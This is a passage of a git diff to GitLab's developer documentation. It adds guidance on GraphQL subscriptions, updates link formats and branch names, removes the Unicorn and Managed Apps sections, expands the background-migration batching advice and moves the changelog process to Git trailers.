+[`Gitlab::Graphql::Errors`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/graphql/errors.rb)).
Any uncaught errors will be suppressed and the client will receive the message
`Internal service error`.
@@ -1575,6 +1575,41 @@ deprecated aliased mutations.
EE mutations should follow the same process. For an example of the merge request
process, read [merge request !42588](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42588).
+## Subscriptions
+
+We use subscriptions to push updates to clients. We use the [Action Cable implementation](https://graphql-ruby.org/subscriptions/action_cable_implementation)
+to deliver the messages over websockets.
+
+When a client subscribes to a subscription, we store their query in-memory within Puma workers. Then when the subscription is triggered,
+the Puma workers execute the stored GraphQL queries and push the results to the clients.
+
+NOTE:
+We cannot test subscriptions using GraphiQL, because they require an Action Cable client, which GraphiQL does not support at the moment.
+
+### Building subscriptions
+
+All fields under `Types::SubscriptionType` are subscriptions that clients can subscribe to. These fields require a subscription class,
+which is a descendant of `Subscriptions::BaseSubscription` and is stored under `app/graphql/subscriptions`.
+
+The arguments required to subscribe and the fields that are returned are defined within the subscription class. Multiple fields can share
+the same subscription class if they have the same arguments and return the same fields.
+
+This class runs during the initial subscription request and subsequent updates. You can read more about this in the
+[GraphQL Ruby guides](https://graphql-ruby.org/subscriptions/subscription_classes).
+
+### Authorization
+
+You should implement the `#authorized?` method of the subscription class so that the initial subscription and subsequent updates are authorized.
+
+When a user is not authorized, you should call the `unauthorized!` helper so that execution is halted and the user is unsubscribed. Returning `false`
+results in redaction of the response but we leak information that some updates are happening. This is due to a
+[bug in the GraphQL gem](https://github.com/rmosolgo/graphql-ruby/issues/3390).
+
+### Triggering subscriptions
+
+Define a method under the `GraphqlTriggers` module to trigger a subscription. Do not call `GitlabSchema.subscriptions.trigger` directly in application
+code so that we have a single source of truth and we do not trigger a subscription with different arguments and objects.
+
## Pagination implementation
To learn more, visit [GraphQL pagination](graphql_guide/pagination.md).
@@ -1614,7 +1649,7 @@ is merged.
### `Types::TimeType`
-[`Types::TimeType`](https://gitlab.com/gitlab-org/gitlab/blob/master/app%2Fgraphql%2Ftypes%2Ftime_type.rb)
+[`Types::TimeType`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app%2Fgraphql%2Ftypes%2Ftime_type.rb)
must be used as the type for all fields and arguments that deal with Ruby
`Time` and `DateTime` objects.
diff --git a/doc/development/api_styleguide.md b/doc/development/api_styleguide.md
index dd43281da6d..c16e86726a8 100644
--- a/doc/development/api_styleguide.md
+++ b/doc/development/api_styleguide.md
@@ -15,7 +15,7 @@ to access them as we do in Rails views), local variables are fine.
## Entities
-Always use an [Entity](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/entities) to present the endpoint's payload.
+Always use an [Entity](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/entities) to present the endpoint's payload.
## Documentation
@@ -28,7 +28,7 @@ See the [Documentation Style Guide RESTful API page](documentation/restful_api_s
## Methods and parameters description
Every method must be described using the [Grape DSL](https://github.com/ruby-grape/grape#describing-methods)
-(see [`environments.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/environments.rb)
+(see [`environments.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/environments.rb)
for a good example):
- `desc` for the method summary. You should pass it a block for additional
@@ -252,7 +252,7 @@ A standard way to do this within the API is for models to implement a
scope called `with_api_entity_associations` that preloads the
associations and data returned in the API. An example of this scope can
be seen in
-[the `Issue` model](https://gitlab.com/gitlab-org/gitlab/blob/2fedc47b97837ea08c3016cf2fb773a0300a4a25/app%2Fmodels%2Fissue.rb#L62).
+[the `Issue` model](https://gitlab.com/gitlab-org/gitlab/-/blob/2fedc47b97837ea08c3016cf2fb773a0300a4a25/app%2Fmodels%2Fissue.rb#L62).
In situations where the same model has multiple entities in the API
(for instance, `UserBasic`, `User` and `UserPublic`) you should use your
@@ -260,7 +260,7 @@ discretion with applying this scope. It may be that you optimize for the
most basic entity, with successive entities building upon that scope.
The `with_api_entity_associations` scope also [automatically preloads
-data](https://gitlab.com/gitlab-org/gitlab/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34)
+data](https://gitlab.com/gitlab-org/gitlab/-/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34)
for `Todo` _targets_ when returned in the [to-dos API](../api/todos.md).
For more context and discussion about preloading see
diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md
index 3c1c91e0d2e..b532a7ff98b 100644
--- a/doc/development/application_limits.md
+++ b/doc/development/application_limits.md
@@ -94,7 +94,7 @@ project.actual_limits.exceeded?(:project_hooks, 10)
#### `Limitable` concern
-The [`Limitable` concern](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/limitable.rb)
+The [`Limitable` concern](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/limitable.rb)
can be used to validate that a model does not exceed the limits. It ensures
that the count of the records for the current model does not exceed the defined
limit.
diff --git a/doc/development/appsec/index.md b/doc/development/appsec/index.md
index e8ce885e75d..2ece3fdf4bf 100644
--- a/doc/development/appsec/index.md
+++ b/doc/development/appsec/index.md
@@ -20,7 +20,7 @@ the feature categories in the [Secure](https://about.gitlab.com/stages-devops-li
- `AppSec::ContainerScanning`: Container Scanning code.
- `AppSec::Dast`: DAST code.
- `AppSec::DependencyScanning`: Dependency Scanning code.
- - `AppSec::Fuzzing::Api`: API Fuzzing code.
+ - `AppSec::Fuzzing::API`: API Fuzzing code.
- `AppSec::Fuzzing::Coverage`: Coverage Fuzzing code.
- `AppSec::Fuzzing`: Shared fuzzing code.
- `AppSec::LicenseCompliance`: License Compliance code.
diff --git a/doc/development/architecture.md b/doc/development/architecture.md
index fdcaa91a639..9801b24fdd0 100644
--- a/doc/development/architecture.md
+++ b/doc/development/architecture.md
@@ -15,14 +15,14 @@ There are two software distributions of GitLab:
GitLab is available under [different subscriptions](https://about.gitlab.com/pricing/).
-New versions of GitLab are released from stable branches, and the `master` branch is used for
+New versions of GitLab are released from stable branches, and the `main` branch is used for
bleeding-edge development.
For more information, visit the [GitLab Release Process](https://about.gitlab.com/handbook/engineering/releases/).
Both distributions require additional components. These components are described in the
[Component details](#components) section, and all have their own repositories.
-New versions of each dependent component are usually tags, but staying on the `master` branch of the
+New versions of each dependent component are usually tags, but staying on the `main` branch of the
GitLab codebase gives you the latest stable version of those components. New versions are
generally released around the same time as GitLab releases, with the exception of informal security
updates deemed critical.
@@ -46,14 +46,14 @@ and pre-compiled assets.
The GitLab application uses PostgreSQL for persistent database information (for example, users,
permissions, issues, or other metadata). GitLab stores the bare Git repositories in the location
-defined in [the configuration file, `repositories:` section](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example).
+defined in [the configuration file, `repositories:` section](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example).
It also keeps default branch and hook information with the bare repository.
When serving repositories over HTTP/HTTPS GitLab uses the GitLab API to resolve authorization and
access and to serve Git objects.
The add-on component GitLab Shell serves repositories over SSH. It manages the SSH keys within the
-location defined in [the configuration file, `GitLab Shell` section](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example).
+location defined in [the configuration file, `GitLab Shell` section](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example).
The file in that location should never be manually edited. GitLab Shell accesses the bare
repositories through Gitaly to serve Git objects, and communicates with Redis to submit jobs to
Sidekiq for GitLab to process. GitLab Shell queries the GitLab API to determine authorization and access.
@@ -215,7 +215,7 @@ click NodeExporter "./architecture.html#node-exporter"
### Component legend
- ✅ - Installed by default
-- âš™ - Requires additional configuration, or GitLab Managed Apps
+- âš™ - Requires additional configuration
- ⤓ - Manual installation required
- ⌠- Not supported or no instructions available
- N/A - Not applicable
@@ -234,7 +234,6 @@ Component statuses are linked to configuration documentation for each component.
| [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ✅ | ⌠| ⌠| CE & EE |
| [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ⌠| ⌠| ✅ | ⌠| ⚙ | EE Only |
| [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ⌠| ⌠| ⤓ | ⚙ | EE Only |
-| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, GitLab Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE |
| [GitLab Pages](#gitlab-pages) | Hosts static websites | ⚙ | ⚙ | ⌠| ⌠| ✅ | ⚙ | ⚙ | CE & EE |
| [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ⌠| ⌠| ⤓ | ⚙ | EE Only |
| [GitLab self-monitoring: Alertmanager](#alertmanager) | Deduplicates, groups, and routes alerts from Prometheus | ⚙ | ⚙ | ✅ | ⚙ | ✅ | ⌠| ⌠| CE & EE |
@@ -435,7 +434,7 @@ GitLab CI/CD is the open-source continuous integration service included with Git
- [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template)
- [Charts](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/)
- [Source](../install/installation.md#install-gitlab-shell)
- - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+ - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
- Layer: Core Service (Processor)
- GitLab.com: [Service Architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/#service-architecture)
@@ -668,8 +667,8 @@ An external registry can also be configured to use GitLab as an auth endpoint.
- Configuration:
- [Omnibus](https://docs.gitlab.com/omnibus/settings/configuration.html#error-reporting-and-logging-with-sentry)
- [Charts](https://docs.gitlab.com/charts/charts/globals#sentry-settings)
- - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
- - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+ - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
+ - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
- Layer: Monitoring
- GitLab.com: [Searching Sentry](https://about.gitlab.com/handbook/support/workflows/500_errors.html#searching-sentry)
@@ -685,8 +684,8 @@ For monitoring deployed apps, see the [Sentry integration docs](../operations/er
- [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template)
- [Charts](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/)
- [Minikube Minimal](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/index.html)
- - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
- - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+ - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
+ - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
- Layer: Core Service (Processor)
- Process: `sidekiq`
- GitLab.com: [Sidekiq](../user/gitlab_com/index.md#sidekiq)
@@ -695,44 +694,26 @@ Sidekiq is a Ruby background job processor that pulls jobs from the Redis queue
#### Puma
-Starting with GitLab 13.0, Puma is the default web server and Unicorn has been
-disabled by default.
+Starting with GitLab 13.0, Puma is the default web server.
-- [Project page](https://gitlab.com/gitlab-org/gitlab/blob/master/README.md)
+- [Project page](https://gitlab.com/gitlab-org/gitlab/-/blob/master/README.md)
- Configuration:
- [Omnibus](https://docs.gitlab.com/omnibus/settings/puma.html)
- [Charts](https://docs.gitlab.com/charts/charts/gitlab/webservice/)
- [Source](../install/installation.md#configure-it)
- - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+ - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
- Layer: Core Service (Processor)
- Process: `puma`
- GitLab.com: [Puma](../user/gitlab_com/index.md#puma)
[Puma](https://puma.io/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version.
-#### Unicorn
-
-Starting with GitLab 13.0, Puma is the default web server and Unicorn has been
-disabled by default.
-
-- [Project page](https://gitlab.com/gitlab-org/gitlab/blob/master/README.md)
-- Configuration:
- - [Omnibus](https://docs.gitlab.com/omnibus/settings/unicorn.html)
- - [Charts](https://docs.gitlab.com/charts/charts/gitlab/webservice/)
- - [Source](../install/installation.md#configure-it)
- - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
-- Layer: Core Service (Processor)
-- Process: `unicorn`
-- GitLab.com: [Unicorn](../user/gitlab_com/index.md#unicorn)
-
-[Unicorn](https://yhbt.net/unicorn/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version.
-
#### LDAP Authentication
- Configuration:
- [Omnibus](../administration/auth/ldap/index.md)
- [Charts](https://docs.gitlab.com/charts/charts/globals.html#ldap)
- - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+ - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
- [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/ldap.md)
- Layer: Core Service (Processor)
- GitLab.com: [Product Tiers](https://about.gitlab.com/pricing/#gitlab-com)
@@ -742,8 +723,8 @@ disabled by default.
- Configuration:
- [Omnibus](https://docs.gitlab.com/omnibus/settings/smtp.html)
- [Charts](https://docs.gitlab.com/charts/installation/command-line-options.html#outgoing-email-configuration)
- - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
- - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+ - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
+ - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
- Layer: Core Service (Processor)
- GitLab.com: [Mail configuration](../user/gitlab_com/index.md#mail-configuration)
@@ -752,33 +733,11 @@ disabled by default.
- Configuration:
- [Omnibus](../administration/incoming_email.md)
- [Charts](https://docs.gitlab.com/charts/installation/command-line-options.html#incoming-email-configuration)
- - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
- - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+ - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
+ - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
- Layer: Core Service (Processor)
- GitLab.com: [Mail configuration](../user/gitlab_com/index.md#mail-configuration)
-#### GitLab Managed Apps
-
-- Configuration:
- - [Omnibus](../user/project/clusters/index.md#installing-applications)
- - [Charts](../user/project/clusters/index.md#installing-applications)
- - [Source](../user/project/clusters/index.md#installing-applications)
- - [GDK](../user/project/clusters/index.md#installing-applications)
-- Layer: Core Service (Processor)
-
-GitLab provides [GitLab Managed Apps](../user/project/clusters/index.md#installing-applications),
-a one-click install for various applications which can be added directly to your configured cluster.
-These applications are needed for Review Apps and deployments when using Auto DevOps.
-You can install them after you create a cluster. This includes:
-
-- [Helm](https://helm.sh/docs/)
-- [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/)
-- [Cert-Manager](https://cert-manager.io/docs/)
-- [Prometheus](https://prometheus.io/docs/introduction/overview/)
-- [GitLab Runner](https://docs.gitlab.com/runner/)
-- [JupyterHub](https://jupyter.org)
-- [Knative](https://cloud.google.com/knative/)
-
## GitLab by request type
GitLab provides two "interfaces" for end users to access the service:
@@ -896,7 +855,7 @@ instead of `git upload-pack`.
If fast SSH key lookups are not enabled, the SSH server reads from the
`~git/.ssh/authorized_keys` file to determine what command to run for a given
-SSH session. This is kept up to date by an [`AuthorizedKeysWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/workers/authorized_keys_worker.rb)
+SSH session. This is kept up to date by an [`AuthorizedKeysWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/authorized_keys_worker.rb)
in Rails, scheduled to run whenever an SSH key is modified by a user.
[SSH certificates](../administration/operations/ssh_certificates.md) may be used
@@ -1035,7 +994,7 @@ GitLab Shell has a configuration file at `/home/git/gitlab-shell/config.yml`.
### Maintenance tasks
-[GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master) provides Rake tasks with which you see version information and run a quick check on your configuration to ensure it is configured properly within the application. See [maintenance Rake tasks](../administration/raketasks/maintenance.md).
+[GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master) provides Rake tasks with which you see version information and run a quick check on your configuration to ensure it is configured properly within the application. See [maintenance Rake tasks](../administration/raketasks/maintenance.md).
In a nutshell, do the following:
```shell
diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md
index c127858d3e7..054a3439ef1 100644
--- a/doc/development/auto_devops.md
+++ b/doc/development/auto_devops.md
@@ -21,7 +21,7 @@ project, the user does not need to explicitly include any pipeline configuration
through a [`.gitlab-ci.yml` file](../ci/yaml/README.md).
In the absence of a `.gitlab-ci.yml` file, the [Auto DevOps CI
-template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
+template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
is used implicitly to configure the pipeline for the project. This
template is a top-level template that includes other sub-templates,
which then defines jobs.
@@ -29,12 +29,12 @@ which then defines jobs.
Some jobs use images that are built from external projects:
- [Auto Build](../topics/autodevops/stages.md#auto-build) uses
- [configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml)
+ [configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml)
in which the `build` job uses an image that is built using the
[`auto-build-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-build-image)
project.
- [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) uses
- [configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
+ [configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
in which the jobs defined in this template use an image that is built using the
[`auto-deploy-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image)
project. By default, the Helm chart defined in
@@ -43,7 +43,7 @@ Some jobs use images that are built from external projects:
There are extra variables that get passed to the CI jobs when Auto
DevOps is enabled that are not present in a normal CI job. These can be
found in
-[`ProjectAutoDevops`](https://gitlab.com/gitlab-org/gitlab/blob/bf69484afa94e091c3e1383945f60dbe4e8681af/app/models/project_auto_devops.rb).
+[`ProjectAutoDevops`](https://gitlab.com/gitlab-org/gitlab/-/blob/bf69484afa94e091c3e1383945f60dbe4e8681af/app/models/project_auto_devops.rb).
## Development environment
diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md
index a96606719d0..0b81d40f585 100644
--- a/doc/development/background_migrations.md
+++ b/doc/development/background_migrations.md
@@ -7,28 +7,25 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo
# Background migrations
-Background migrations can be used to perform data migrations that would
-otherwise take a very long time (hours, days, years, etc) to complete. For
-example, you can use background migrations to migrate data so that instead of
-storing data in a single JSON column the data is stored in a separate table.
+Background migrations should be used to perform data migrations whenever a
+migration exceeds [the time limits in our guidelines](database_review.md#timing-guidelines-for-migrations). For example, you can use background
+migrations to migrate data that's stored in a single JSON column
+to a separate table instead.
If the database cluster is considered to be in an unhealthy state, background
migrations automatically reschedule themselves for a later point in time.
## When To Use Background Migrations
-In the vast majority of cases you will want to use a regular Rails migration
-instead. Background migrations should be used when migrating _data_ in
-tables that have so many rows this process would take hours when performed in a
-regular Rails migration.
+You should use a background migration when you migrate _data_ in tables that have
+so many rows that the process would exceed [the time limits in our guidelines](database_review.md#timing-guidelines-for-migrations) if performed using a regular Rails migration.
-Background migrations _may_ also be used when executing numerous single-row queries
+- Background migrations should be used when migrating data in [high-traffic tables](migration_style_guide.md#high-traffic-tables).
+- Background migrations may also be used when executing numerous single-row queries
for every item on a large dataset. Typically, for single-record patterns, runtime is
largely dependent on the size of the dataset, hence it should be split accordingly
and put into background migrations.
-
-Background migrations _may not_ be used to perform schema migrations, they
-should only be used for data migrations.
+- Background migrations should not be used to perform schema migrations.
Some examples where background migrations can be useful:
@@ -255,12 +252,8 @@ batches instead of doing this one by one:
class ScheduleExtractServicesUrl < ActiveRecord::Migration[4.2]
disable_ddl_transaction!
- class Service < ActiveRecord::Base
- self.table_name = 'services'
- end
-
def up
- Service.select(:id).in_batches do |relation|
+ define_batchable_model('services').select(:id).in_batches do |relation|
jobs = relation.pluck(:id).map do |id|
['ExtractServicesUrl', [id]]
end
@@ -286,18 +279,12 @@ this:
class ConsumeRemainingExtractServicesUrlJobs < ActiveRecord::Migration[4.2]
disable_ddl_transaction!
- class Service < ActiveRecord::Base
- include ::EachBatch
-
- self.table_name = 'services'
- end
-
def up
# This must be included
Gitlab::BackgroundMigration.steal('ExtractServicesUrl')
# This should be included, but can be skipped - see below
- Service.where(url: nil).each_batch(of: 50) do |batch|
+ define_batchable_model('services').where(url: nil).each_batch(of: 50) do |batch|
range = batch.pluck('MIN(id)', 'MAX(id)').first
Gitlab::BackgroundMigration::ExtractServicesUrl.new.perform(*range)
@@ -358,25 +345,87 @@ for more details.
more pressure on DB than you expect (measure on staging,
or ask someone to measure on production).
1. Make sure to know how much time it'll take to run all scheduled migrations.
-1. Provide an estimation section in the description, explaining timings from the
- linked query plans and batches as described in the migration.
+1. Provide an estimation section in the description, estimating both the total migration
+ run time and the query times for each background migration job. Explain plans for each query
+ should also be provided.
For example, assuming a migration that deletes data, include information similar to
the following section:
- ```ruby
+ ```plaintext
Background Migration Details:
47600 items to delete
batch size = 1000
- 47600 / 1000 = 48 loops
+ 47600 / 1000 = 48 batches
Estimated times per batch:
- - 900ms for select statement with 1000 items
- - 2100ms for delete statement with 1000 items
- Total: ~3sec per batch
+ - 820ms for select statement with 1000 items (see linked explain plan)
+ - 900ms for delete statement with 1000 items (see linked explain plan)
+ Total: ~2 sec per batch
- 2 mins delay per loop (safe for the given total time per batch)
+ 2 mins delay per batch (safe for the given total time per batch)
- 48 * ( 120 + 3) = ~98.4 mins to run all the scheduled jobs
+ 48 batches * 2 min per batch = 96 mins to run all the scheduled jobs
```
+
+ The execution time per batch (2 sec in this example) is not included in the calculation
+ for total migration time. The jobs are scheduled 2 minutes apart without knowledge of
+ the execution time.
+
+## Additional tips and strategies
+
+### Nested batching
+
+A strategy to make the migration run faster is to schedule larger batches, and then use `EachBatch`
+within the background migration to perform multiple statements.
+
+The background migration helpers that queue multiple jobs such as
+`queue_background_migration_jobs_by_range_at_intervals` use [`EachBatch`](iterating_tables_in_batches.md).
+The example above has batches of 1000, where each queued job takes two seconds. If the query has been optimized
+to make the time for the delete statement within the [query performance guidelines](query_performance.md),
+1000 may be the largest number of records that can be deleted in a reasonable amount of time.
+
+The minimum and most common interval for delaying jobs is two minutes. This results in two seconds
+of work for each two minute job. There's nothing that prevents you from executing multiple delete
+statements in each background migration job.
+
+Looking at the example above, you could alternatively do:
+
+```plaintext
+Background Migration Details:
+
+47600 items to delete
+batch size = 10_000
+47600 / 10_000 = 5 batches
+
+Estimated times per batch:
+- Records are updated in sub-batches of 1000 => 10_000 / 1000 = 10 total updates
+- 820ms for select statement with 1000 items (see linked explain plan)
+- 900ms for delete statement with 1000 items (see linked explain plan)
+Sub-batch total: ~2 sec per sub-batch,
+Total batch time: 2 * 10 = 20 sec per batch
+
+2 mins delay per batch
+
+5 batches * 2 min per batch = 10 mins to run all the scheduled jobs
+```
+
+The batch time of 20 seconds still fits comfortably within the two minute delay, yet the total run
+time is cut by a tenth from around 100 minutes to 10 minutes! When dealing with large background
+migrations, this can cut the total migration time by days.
+
+When batching in this way, it is important to look at query times on the higher end
+of the table or relation being updated. `EachBatch` may generate some queries that become much
+slower when dealing with higher ID ranges.
+
+### Delay time
+
+When looking at the batch execution time versus the delay time, the execution time
+should fit comfortably within the delay time for a few reasons:
+
+- To allow for a variance in query times.
+- To allow autovacuum to catch up after periods of high churn.
+
+Never try to optimize by fully filling the delay window even if you are confident
+the queries themselves have no timing variance.
diff --git a/doc/development/changelog.md b/doc/development/changelog.md
index 6412c303735..f0c37af42ab 100644
--- a/doc/development/changelog.md
+++ b/doc/development/changelog.md
@@ -11,56 +11,93 @@ file, as well as information and history about our changelog process.
## Overview
-Each bullet point, or **entry**, in our [`CHANGELOG.md`](https://gitlab.com/gitlab-org/gitlab/blob/master/CHANGELOG.md) file is
-generated from a single data file in the [`changelogs/unreleased/`](https://gitlab.com/gitlab-org/gitlab/tree/master/changelogs/unreleased/).
-The file is expected to be a [YAML](https://en.wikipedia.org/wiki/YAML) file in the
-following format:
+Each bullet point, or **entry**, in our
+[`CHANGELOG.md`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CHANGELOG.md)
+file is generated from the subject line of a Git commit. Commits are included
+when they contain the `Changelog` [Git trailer](https://git-scm.com/docs/git-interpret-trailers).
+When generating the changelog, author and merge request details are added
+automatically.
-```yaml
----
-title: "Change[log]s"
-merge_request: 1972
-author: Black Sabbath @bsabbath
-type: added
+The `Changelog` trailer accepts the following values:
+
+- `added`: New feature
+- `fixed`: Bug fix
+- `changed`: Feature change
+- `deprecated`: New deprecation
+- `removed`: Feature removal
+- `security`: Security fix
+- `performance`: Performance improvement
+- `other`: Other
+
+An example of a Git commit to include in the changelog is the following:
+
+```plaintext
+Update git vendor to gitlab
+
+Now that we are using gitaly to compile git, the git version isn't known
+from the manifest, instead we are getting the gitaly version. Update our
+vendor field to be `gitlab` to avoid cve matching old versions.
+
+Changelog: changed
```
-The `merge_request` value is a reference to a merge request that adds this
-entry, and the `author` key (format: `<full name> <GitLab username>`) is used to give attribution to community
-contributors. **Both are optional**.
-The `type` field maps the category of the change,
-valid options are: added, fixed, changed, deprecated, removed, security, performance, other. **Type field is mandatory**.
+### Overriding the associated merge request
+
+GitLab automatically links the merge request to the commit when generating the
+changelog. If you want to override the merge request to link to, you can specify
+an alternative merge request using the `MR` trailer:
+
+```plaintext
+Update git vendor to gitlab
-Community contributors and core team members are encouraged to add their name to
-the `author` field. GitLab team members **should not**.
+Now that we are using gitaly to compile git, the git version isn't known
+from the manifest, instead we are getting the gitaly version. Update our
+vendor field to be `gitlab` to avoid cve matching old versions.
+
+Changelog: changed
+MR: https://gitlab.com/foo/bar/-/merge_requests/123
+```
+
+The value must be the full URL of the merge request.
+
+### GitLab Enterprise changes
+
+If a change is for GitLab Enterprise Edition, you must also add the trailer `EE:
+true`:
+
+```plaintext
+Update git vendor to gitlab
+
+Now that we are using gitaly to compile git, the git version isn't known
+from the manifest, instead we are getting the gitaly version. Update our
+vendor field to be `gitlab` to avoid cve matching old versions.
+
+Changelog: changed
+MR: https://gitlab.com/foo/bar/-/merge_requests/123
+EE: true
+```
## What warrants a changelog entry?
- Any change that introduces a database migration, whether it's regular, post,
or data migration, **must** have a changelog entry, even if it is behind a
- disabled feature flag. Since the migration is executed on [GitLab FOSS](https://gitlab.com/gitlab-org/gitlab-foss/),
- the changelog for database schema changes should be written to the
- `changelogs/unreleased/` directory, even when other elements of that change affect only GitLab EE.
-
+ disabled feature flag.
- [Security fixes](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md)
- **must** have a changelog entry, without `merge_request` value
- and with `type` set to `security`.
-- Any user-facing change **must** have a changelog entry. This includes both visual changes (regardless of how minor), and changes to the rendered DOM which impact how a screen reader may announce the content.
-- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. See the [complete list what comprises a GraphQL breaking change](api_graphql_styleguide.md#breaking-changes).
-- Any change that introduces an [Advanced Search migration](elasticsearch.md#creating-a-new-advanced-search-migration) **must** have a changelog entry.
-- Performance improvements **should** have a changelog entry.
-- _Any_ contribution from a community member, no matter how small, **may** have
- a changelog entry regardless of these guidelines if the contributor wants one.
- Example: "Fixed a typo on the search results page."
-- Any docs-only changes **should not** have a changelog entry.
-- For changes related to feature flags, use [feature flag guide](feature_flags/index.md#changelog) to determine the changelog entry.
-- Any change that adds new Usage Data metrics, sets the status of existing ones to `removed`, and changes that need to be documented in Product Intelligence [Metrics Dictionary](usage_ping/dictionary.md) **should** have a changelog entry.
-- A change that adds snowplow events **should** have a changelog entry -
-- A fix for a regression introduced and then fixed in the same release (i.e.,
+ **must** have a changelog entry, with `Changelog` trailer set to `security`.
+- Any user-facing change **must** have a changelog entry. Example: "GitLab now
+ uses system fonts for all text."
+- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry.
+ See the [complete list what comprises a GraphQL breaking change](api_graphql_styleguide.md#breaking-changes).
+- Any change that introduces an [Advanced Search migration](elasticsearch.md#creating-a-new-advanced-search-migration)
+ **must** have a changelog entry.
+- A fix for a regression introduced and then fixed in the same release (such as
fixing a bug introduced during a monthly release candidate) **should not**
have a changelog entry.
-- Any developer-facing change (e.g., refactoring, technical debt remediation,
